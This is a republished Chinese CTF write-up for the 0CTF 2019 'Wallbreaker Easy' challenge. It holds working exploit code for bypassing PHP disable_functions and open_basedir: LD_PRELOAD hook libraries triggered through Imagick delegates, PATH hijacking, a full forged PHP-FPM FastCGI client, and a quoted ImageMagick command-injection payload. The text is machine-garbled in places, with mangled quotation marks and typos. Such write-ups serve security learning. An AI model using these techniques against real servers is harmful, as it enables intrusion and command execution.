首页 » 网站建设 » phpunexpectedtif技巧_0ops国际信息安然技能寻衅赛2019WallbreakerEasyWriteUp

phpunexpectedtif技巧_0ops国际信息安然技能寻衅赛2019WallbreakerEasyWriteUp

访客 2024-12-14 0

扫一扫用手机浏览

文章目录 [+]

Web狗表示游戏体验有点差,被虐惨了。
题目质量很高,赞一个,抽空记录一下解题学习思路,细节逐步补充。

题目信息

phpunexpectedtif技巧_0ops国际信息安然技能寻衅赛2019WallbreakerEasyWriteUp

题目如下

phpunexpectedtif技巧_0ops国际信息安然技能寻衅赛2019WallbreakerEasyWriteUp
(图片来自网络侵删)

Imagick is a awesome library for hackers to break `disable_functions`.So I installed php-imagick in the server, opened a `backdoor` for you.Let's try to execute `/readflag` to get the flag.Open basedir: /var/www/html:/tmp/06a2b932e87aa986fbd92a0582b9e655Hint: eval($_POST[\"大众backdoor\"大众]);

官方Hint:

Ubuntu 18.04 / apt install php php-fpm php-imagick

题目已经是一句话木马,查看源码:

<?php$dir = \公众/tmp/\公众 . md5(\公众$_SERVER[REMOTE_ADDR]\公众);mkdir($dir);ini_set('open_basedir', '/var/www/html:' . $dir);?><!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body><pre class=\"大众pre\公众><code>Imagick is a awesome library for hackers to break `disable_functions`.So I installed php-imagick in the server, opened a `backdoor` for you.Let's try to execute `/readflag` to get the flag.Open basedir: <?php echo ini_get('open_basedir');?><?php eval($_POST[\公众backdoor\"大众]);?>Hint: eval($_POST[\"大众backdoor\"大众]);

查看phpinfo探求信息:

Server API

FPM/FastCGIdisable_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mailopen_basedir

脚本内: /var/www/html:/tmp/b4c4c1d24e4edae72b3e5ebd24d4723cphp.ini: /var/www/html:/tmpsendmail

sendmail_path: /usr/sbin/sendmail -t -i

解题思路

Flag存在于/readflag,题目中紧张是有open_basedir,disable_functions两个防御方法。
可以创造disable_functions中并没有包含file_put_contents,file_get_contents之类的,因此还是能够完成文件的上传和读取等操作,但会由于open_basedir受到限定。

由于是通过apt install安装的各种软件,因此并不存在Ghostscript等nDay漏洞。

这个题目存在两个思路:

绕过open_basedir限定利用file_get_contents等函数进行flag文件读取。
绕过disable_functions限定进行命令实行,进行flag文件读取,毕竟实行命令不受open_basedir限定。

在做记录的时候创造题目已经关闭,故根据phpinfo布局相同配置的环境。

命令实行法

实行命令的思路紧张是源于此Paper:<无需sendmail:巧用LD_PRELOAD打破disable_functions>

Paper中的方法是在没有禁用putenv()和mail()的情形下,通过LD_PRELOAD加上mail()或imap_mail()进行系统挟制,完成系统命令实行。

LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它许可你定义在程序运行前优先加载的动态链接库,加载的优先级最高。

这个功能紧张便是用来有选择性的载入不同动态链接库中的相同函数。
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,乃至覆盖正常的函数库,完成程序注入和挟制。

LA_PRELOAD更换前

LA_PRELOAD更换后

mail和imap_mail

从paper中可以得知:在调用mail和imap_mail函数发送邮件时,实质上是调用Sendmail这个组件程序进行操作。

利用上文提到的LA_PRELOAD环境变量载入的动态链接库具有最高优先级的特性,载入自定义的恶意动态链接库,对Sendmail调用的动态链接库中的函数进行重载覆盖,达到完成挟制程序的目的。

查看Sendmail中引用的glibc动态链接中的引用符号表,并选择getuid函数进行挟制

Getuid挟制代码:

#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() { system(\"大众whoami > result.txt\"大众);} int geteuid() {if (getenv(\"大众LD_PRELOAD\公众) == NULL) { return 0; }unsetenv(\"大众LD_PRELOAD\公众);payload();}

然后编译成动态链接库

gcc -c -fPIC hook.c -o hookgcc -shared hook -o hook.so

传到做事器上,脚本中设置LA_PRELOAD,实行脚本完成命令实行

<?phpputenv(\公众LD_PRELOAD=/var/www/html/hook.so\"大众);mail(\公众\"大众,\公众\"大众,\"大众\"大众,\"大众\"大众,\公众\"大众);?>

但是此方法在本题中无法直策应用:

mail函数已经被禁用按照官方hint的apt install默认安装,提示不存在imap_mail函数,须要安装imap拓展

ImageMagick

mail调用并挟制sendmail行不通,但可以根据hint中的php-imagick调用ImageMagick完成挟制,实现命令注入。

php - Imagick 是用 调用ImageMagic API 来创建和修正图像的PHP官方扩展。
ImageMagick® 是用来创建,编辑,合并位图图像的一套组件。
它能够用于读取,转换,写入多种不同格式的图像。
包含 DPX, EXR, GIF, JPEG, JPEG-2000, PDF, PhotoCD, PNG, Postscript, SVG, 和 TIFF。

ImageMagick能够完成多种格式之间的转化,并非全部内置功能实现转换办法。
ImageMagick有一个功能叫做delegate(委托),可以调用外部的lib来处理文件,而调用外部lib的过程是利用系统的system命令。

比如参考ImageMagick 命令实行(CVE-2016-3714 ),delegate配置文件为:

<delegate decode=\"大众https\"大众 command=\"大众\"大众curl\"大众 -s -k -o \"大众%o\"大众 \公众https:%M\"大众\"大众/>

利用delegate时完成命令注入,实际实行的命令为:

\"大众wget\公众 -q -O \"大众%o\公众 \"大众https://example.com\"大众|ls \公众-al\公众

可以看到调用了wget,因此php - Imagick也能够调用外部程序。

方法1 - 函数挟制

查看配置文件,在bmp->jxr,bmp->wdp等格式转化时,会调用mv,JxrEncApp外部命令程序。

<delegate decode=\公众bmp\"大众 encode=\公众jxr\"大众 command=\公众/bin/mv \"大众%i\"大众 \公众%i.bmp\"大众; \"大众JxrEncApp\公众 -i \"大众%i.bmp\"大众 -o \"大众%o.jxr\"大众; /bin/mv \公众%i.bmp\"大众 \公众%i\公众; /bin/mv \"大众%o.jxr\"大众 \"大众%o\"大众\"大众/><delegate decode=\公众bmp\"大众 encode=\"大众wdp\"大众 command=\"大众/bin/mv \"大众%i\"大众 \"大众%i.bmp\"大众; \公众JxrEncApp\"大众 -i \"大众%i.bmp\公众 -o \"大众%o.jxr\"大众; /bin/mv \"大众%i.bmp\"大众 \"大众%i\"大众; /bin/mv \"大众%o.jxr\公众 \"大众%o\"大众\公众/>

查看进程实行时的系统调用详情:

查看mv中引用的glibc动态链接中的引用符号表,同样可选择getuid函数进行挟制

修正uid挟制代码

#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() { system(\"大众cat /readflag > /tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt\"大众);} int geteuid() {if (getenv(\公众LD_PRELOAD\"大众) == NULL) { return 0; }unsetenv(\"大众LD_PRELOAD\公众);payload();}

将编译成动态链接库后和bmp文件通过file_put_contents上传至做事器

发送POST数据,调用恶意动态链接库,将flag写入/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt

backdoor=putenv(\公众LD_PRELOAD=/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.so\公众);$thumb = new Imagick();$thumb->readImage('/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.bmp');$thumb->writeImage('/tmp/4fcf71337b8ee587750cf80ff3ee9de6/test.wdp');

读取flag

backdoor=var_dump(file_get_contents('/tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt'));

方法2 - 运用挟制

在bmp->wdp格式转换的委托过程中,还调用了JxrEncApp,根据Hint的安装办法,这个运用默认并未安装。

将如下代码编译成JxrEncApp

#include<stdio.h>#include<stdlib.h>int main(){ system(\公众cat /readflag > /tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt\公众); return 0;}

写入JxrEncApp文件,通过putenv设置PATH变量,触发委托,进行运用挟制:

方法3 - __attribute__ 机制

上文paper中的终极解法,在恶意动态链接库中利用__attribute__ 机制挟制新启动程序的main()的布局和析构。

__attribute__ 机制

__attribute__ 机制是GNU C 的一大特色,可以设置函数属性(Function Attribute )、变量属性(Variable Attribute )和类型属性(Type Attribute )。
__attribute__ ((constructor))会使函数在main()函数之前被实行。
__attribute__ ((destructor))会使函数在main()退出后实行。
函数属性__attribute__((constructor))和__attribute__((destructor))在可实行文件或库文件里都可以生效。

同样编译成动态链接库,恶意代码如下:

#define _GNU_SOURCE#include <stdlib.h>#include <stdio.h>#include <string.h>extern char environ;//__attribute__ ((constructor)) void preload (void)__attribute__ ((destructor)) void preload (void){ int i; for (i = 0; environ[i]; ++i) { if (strstr(environ[i], \"大众LD_PRELOAD\"大众)) { environ[i][0] = '\0'; } } // executive command system(\"大众cat /readflag > /tmp/4fcf71337b8ee587750cf80ff3ee9de6/flag.txt\公众);}

同样设置LD_PRELOAD加载链接库,然后调用php - Imagick启动新进程并挟制:

open_basedir Bypass(Fast-Cgi)

利用FPM的特点,绕过open_basedir限定,完成文件读取。

在Web模型中:

Web Server 一样平常指Apache、Nginx、IIS、Lighttpd、Tomcat等做事器,Web Application 一样平常指PHP、Java、http://Asp.net等后端运用程序。

Web Server碰着动态脚本的要求后并反面编程措辞解析器直接通讯,通过PHP-FPM(网关)转化成FastCGI协议通信通信,扮演翻译官的角色实现组件解耦,增强了架构的伸缩性。

CGI:是 Web Server 与 Web Application 之间数据交流的一种协议。
FastCGI:同 CGI,是一种通信协议,但比 CGI 在效率上做了一些优化。
同样,SCGI 协议与 FastCGI 类似。
PHP-CGI:是 PHP (Web Application)对 Web Server 供应的 CGI 协议的接口程序。
PHP-FPM:是 PHP(Web Application)对 Web Server 供应的 FastCGI 协议的接口程序,额外还供应了相对智能一些任务管理。

比如访问http://127.0.0.1/index.php,Web server会考试测验解析为键对值:

'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php', 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'CONTENT_LENGTH' => '8', 'PHP_VALUE' => 'open_basedir = /',

在PHP中:

可以通过在FastCGI协议修正PHP_VALUE字段进而修正php.ini中的一些设置,而open_basedir同样可以通过此种方法进行设置。
正由于组件的解耦,因此FPM没有判断要求的来源是否必须来自Webserver,在我们获取Webshell的情形下可以假造并向WebServer向PFM发起要求。

以上的要求键对值会通过FastCGI传给FPM,FPM进行无差别接管,修正php.ini,并且根据SCRIPT_FILENAME对php的文件进行实行/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php

利用

首先上传用于读取文件的脚本flag.php

<?phpecho file_get_contents('/readflag');?>接着上传用于假造FastCGI的脚本exp.php

<?phpclass TimedOutException extends \Exception {}class ForbiddenException extends \Exception {}class Client {const VERSION_1 = 1;const BEGIN_REQUEST = 1;const ABORT_REQUEST = 2;const END_REQUEST = 3;const PARAMS = 4;const STDIN = 5;const STDOUT = 6;const STDERR = 7;const DATA = 8;const GET_VALUES = 9;const GET_VALUES_RESULT = 10;const UNKNOWN_TYPE = 11;const MAXTYPE = self::UNKNOWN_TYPE;const RESPONDER = 1;const AUTHORIZER = 2;const FILTER = 3;const REQUEST_COMPLETE = 0;const CANT_MPX_CONN = 1;const OVERLOADED = 2;const UNKNOWN_ROLE = 3;const MAX_CONNS = 'MAX_CONNS';const MAX_REQS = 'MAX_REQS';const MPXS_CONNS = 'MPXS_CONNS';const HEADER_LEN = 8;const REQ_STATE_WRITTEN = 1;const REQ_STATE_OK = 2;const REQ_STATE_ERR = 3;const REQ_STATE_TIMED_OUT = 4;private $_sock = null;private $_host = null;private $_port = null;private $_keepAlive = false;private $_requests = array();private $_persistentSocket = false;private $_connectTimeout = 5000;private $_readWriteTimeout = 5000;public function __construct( $host, $port ) { $this->_host = $host; $this->_port = $port;}public function setKeepAlive( $b ) { $this->_keepAlive = (boolean) $b; if ( ! $this->_keepAlive && $this->_sock ) { fclose( $this->_sock ); }}public function getKeepAlive() { return $this->_keepAlive;}public function setPersistentSocket( $b ) { $was_persistent = ( $this->_sock && $this->_persistentSocket ); $this->_persistentSocket = (boolean) $b; if ( ! $this->_persistentSocket && $was_persistent ) { fclose( $this->_sock ); }}public function getPersistentSocket() { return $this->_persistentSocket;}public function setConnectTimeout( $timeoutMs ) { $this->_connectTimeout = $timeoutMs;}public function getConnectTimeout() { return $this->_connectTimeout;}public function setReadWriteTimeout( $timeoutMs ) { $this->_readWriteTimeout = $timeoutMs; $this->set_ms_timeout( $this->_readWriteTimeout );}public function getReadWriteTimeout() { return $this->_readWriteTimeout;}private function set_ms_timeout( $timeoutMs ) { if ( ! $this->_sock ) { return false; } return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) 1000 );}private function connect() { if ( ! $this->_sock ) { if ( $this->_persistentSocket ) { $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } else { $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } if ( ! $this->_sock ) { throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr ); } if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) { throw new \Exception( 'Unable to set timeout on socket' ); } }}private function buildPacket( $type, $content, $requestId = 1 ) { $clen = strlen( $content ); return chr( self::VERSION_1 ) / version / . chr( $type ) / type / . chr( ( $requestId >> 8 ) & 0xFF ) / requestIdB1 / . chr( $requestId & 0xFF ) / requestIdB0 / . chr( ( $clen >> 8 ) & 0xFF ) / contentLengthB1 / . chr( $clen & 0xFF ) / contentLengthB0 / . chr( 0 ) / paddingLength / . chr( 0 ) / reserved / . $content; / content /}private function buildNvpair( $name, $value ) { $nlen = strlen( $name ); $vlen = strlen( $value ); if ( $nlen < 128 ) { / nameLengthB0 / $nvpair = chr( $nlen ); } else { / nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 / $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF ); } if ( $vlen < 128 ) { / valueLengthB0 / $nvpair .= chr( $vlen ); } else { / valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 / $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF ); } / nameData & valueData / return $nvpair . $name . $value;}private function readNvpair( $data, $length = null ) { $array = array(); if ( $length === null ) { $length = strlen( $data ); } $p = 0; while ( $p != $length ) { $nlen = ord( $data{$p ++} ); if ( $nlen >= 128 ) { $nlen = ( $nlen & 0x7F << 24 ); $nlen |= ( ord( $data{$p ++} ) << 16 ); $nlen |= ( ord( $data{$p ++} ) << 8 ); $nlen |= ( ord( $data{$p ++} ) ); } $vlen = ord( $data{$p ++} ); if ( $vlen >= 128 ) { $vlen = ( $nlen & 0x7F << 24 ); $vlen |= ( ord( $data{$p ++} ) << 16 ); $vlen |= ( ord( $data{$p ++} ) << 8 ); $vlen |= ( ord( $data{$p ++} ) ); } $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen ); $p += ( $nlen + $vlen ); } return $array;}private function decodePacketHeader( $data ) { $ret = array(); $ret['version'] = ord( $data{0} ); $ret['type'] = ord( $data{1} ); $ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} ); $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} ); $ret['paddingLength'] = ord( $data{6} ); $ret['reserved'] = ord( $data{7} ); return $ret;}private function readPacket() { if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) { $resp = $this->decodePacketHeader( $packet ); $resp['content'] = ''; if ( $resp['contentLength'] ) { $len = $resp['contentLength']; while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) { $len -= strlen( $buf ); $resp['content'] .= $buf; } } if ( $resp['paddingLength'] ) { $buf = fread( $this->_sock, $resp['paddingLength'] ); } return $resp; } else { return false; }}public function getValues( array $requestedInfo ) { $this->connect(); $request = ''; foreach ( $requestedInfo as $info ) { $request .= $this->buildNvpair( $info, '' ); } fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) ); $resp = $this->readPacket(); if ( $resp['type'] == self::GET_VALUES_RESULT ) { return $this->readNvpair( $resp['content'], $resp['length'] ); } else { throw new \Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' ); }}public function request( array $params, $stdin ) { $id = $this->async_request( $params, $stdin ); return $this->wait_for_response( $id );}public function async_request( array $params, $stdin ) { $this->connect(); // Pick random number between 1 and max 16 bit unsigned int 65535 $id = mt_rand( 1, ( 1 << 16 ) - 1 ); // Using persistent sockets implies you want them keept alive by server! $keepAlive = intval( $this->_keepAlive || $this->_persistentSocket ); $request = $this->buildPacket( self::BEGIN_REQUEST , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 ) , $id ); $paramsRequest = ''; foreach ( $params as $key => $value ) { $paramsRequest .= $this->buildNvpair( $key, $value, $id ); } if ( $paramsRequest ) { $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id ); } $request .= $this->buildPacket( self::PARAMS, '', $id ); if ( $stdin ) { $request .= $this->buildPacket( self::STDIN, $stdin, $id ); } $request .= $this->buildPacket( self::STDIN, '', $id ); if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) { $info = stream_get_meta_data( $this->_sock ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Write timed out' ); } // Broken pipe, tear down so future requests might succeed fclose( $this->_sock ); throw new \Exception( 'Failed to write request to socket' ); } $this->_requests[ $id ] = array( 'state' => self::REQ_STATE_WRITTEN, 'response' => null ); return $id;}public function wait_for_response( $requestId, $timeoutMs = 0 ) { if ( ! isset( $this->_requests[ $requestId ] ) ) { throw new \Exception( 'Invalid request id given' ); } if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR ) { return $this->_requests[ $requestId ]['response']; } if ( $timeoutMs > 0 ) { // Reset timeout on socket for now $this->set_ms_timeout( $timeoutMs ); } else { $timeoutMs = $this->_readWriteTimeout; } $startTime = microtime( true ); do { $resp = $this->readPacket(); if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) { if ( $resp['type'] == self::STDERR ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR; } $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content']; } if ( $resp['type'] == self::END_REQUEST ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK; if ( $resp['requestId'] == $requestId ) { break; } } if ( microtime( true ) - $startTime >= ( $timeoutMs 1000 ) ) { // Reset $this->set_ms_timeout( $this->_readWriteTimeout ); throw new \Exception( 'Timed out' ); } } while ( $resp ); if ( ! is_array( $resp ) ) { $info = stream_get_meta_data( $this->_sock ); // We must reset timeout but it must be AFTER we get info $this->set_ms_timeout( $this->_readWriteTimeout ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Read timed out' ); } if ( $info['unread_bytes'] == 0 && $info['blocked'] && $info['eof'] ) { throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' ); } throw new \Exception( 'Read failed' ); } // Reset timeout $this->set_ms_timeout( $this->_readWriteTimeout ); switch ( ord( $resp['content']{4} ) ) { case self::CANT_MPX_CONN: throw new \Exception( 'This app can\'t multiplex [CANT_MPX_CONN]' ); break; case self::OVERLOADED: throw new \Exception( 'New request rejected; too busy [OVERLOADED]' ); break; case self::UNKNOWN_ROLE: throw new \Exception( 'Role value not known [UNKNOWN_ROLE]' ); break; case self::REQUEST_COMPLETE: return $this->_requests[ $requestId ]['response']; }}}$client = new Client( 'unix:///var/run/php/php7.2-fpm.sock', - 1 ); $php_value = \"大众open_basedir = /\"大众;$filepath = '/tmp/06a2b932e87aa986fbd92a0582b9e655/flag.php'; $content = 'rai4over';echo $client->request( array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'CONTENT_LENGTH' => strlen( $content ), 'PHP_VALUE' => $php_value,),$content);然后利用为禁用的include包含exp.flagexp.php会发送修正php.ini中open_basedir并访问flag.php的要求,完成flag读取。

参考

https://www.leavesongs.com/PENETRATION/CVE-2016-3714-ImageMagick.html

http://www.cnblogs.com/net66/p/5609026.html>

https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html

https://github.com/l3m0n/Bypass_Disable_functions_Shell

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

https://www.secpulse.com/archives/13175.html

https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html

https://blog.csdn.net/qq_33020901/article/details/52097142

https://www.awaimai.com/371.html

作者:Rai4over

欢迎来安全脉搏查看更多的干货文章和我们一起互换互动哦!

脉搏地址:https://www.secpulse.com/archives/106525.html

微博地址:Sina Visitor System

【注:安全脉搏所有文章未经容许,回绝转载】

标签:

相关文章

大数据时代,压住信息洪流,挖掘智慧价值

在信息爆炸的今天,大数据已成为各行各业不可或缺的核心资源。如何压住这股信息洪流,挖掘大数据的智慧价值,成为了我们面临的重要课题。本...

网站建设 2024-12-16 阅读0 评论0

大数据时代,字符的力量与未来

随着信息技术的飞速发展,大数据时代已经悄然来临。在这个时代,字符成为了数据的核心,它们承载着人类社会的智慧与创造力。本文将探讨字符...

网站建设 2024-12-16 阅读0 评论0

大数据时代,堆存技术的革新与挑战

随着互联网的飞速发展,大数据已成为现代社会不可或缺的一部分。而大数据堆存作为数据存储的核心技术,其性能、可靠性和安全性备受关注。本...

网站建设 2024-12-16 阅读0 评论0